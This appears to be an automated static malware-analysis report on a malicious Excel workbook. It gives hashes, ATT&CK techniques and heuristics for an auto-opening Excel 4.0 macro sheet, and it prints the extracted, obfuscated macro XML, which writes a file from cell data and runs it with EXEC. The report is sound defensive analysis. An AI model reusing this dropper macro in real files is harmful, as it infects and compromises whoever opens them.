Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8fddccee96c1097c…

MALICIOUS

Office (OOXML)

202.4 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-24
MD5: 5e2f40e90bc25675ab1f2dfeec77a74b SHA-1: 58607ac3a822c87632a030cdc81b65ac4074ac76 SHA-256: 8fddccee96c1097ccb1cc43e848fa6c802f9ff2c9f940711d0a393881fa5e94d
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The macros utilize dangerous functions like FOPEN, FWRITE, FCLOSE, and EXEC to download and execute a payload. The 'EXEC' function is particularly concerning as it directly calls external code, likely a second-stage payload.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1485 bytes
SHA-256: ed373d05b2f948b942a27593468afc025506d24a41df3b5edd445b2af61a1e3a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A181:B1396"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="181" spans="1:1"><c r="A181" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$218, 1, 200), 1+2)</f><v>0</v></c></row><row r="218" spans="2:2"/><row r="283" spans="1:1"><c r="A283" t="b"><f>FOR.CELL("OpGMYyRMpnv",Sheet1!M155:BG711, TRUE)</f><v>0</v></c></row><row r="334" spans="1:1"><c r="A334" t="e"><f>FWRITE(Macro1!A181,CHAR(OpGMYyRMpnv))</f><v>#NAME?</v></c></row><row r="444" spans="1:1"><c r="A444" t="b"><f>NEXT()</f><v>0</v></c></row><row r="547" spans="1:1"><c r="A547" t="b"><f>FCLOSE(Macro1!A181)</f><v>0</v></c></row><row r="799" spans="2:2"/><row r="1285" spans="1:1"><c r="A1285" t="b"><f>SET.VALUE(Macro1!$B$799, GET.NOTE(Macro1!$B$799, 1, 200))</f><v>0</v></c></row><row r="1382" spans="1:1"><c r="A1382" t="b"><f>EXEC(Macro1!$B$799)</f><v>0</v></c></row><row r="1396" spans="1:1"><c r="A1396" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="DFAB" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>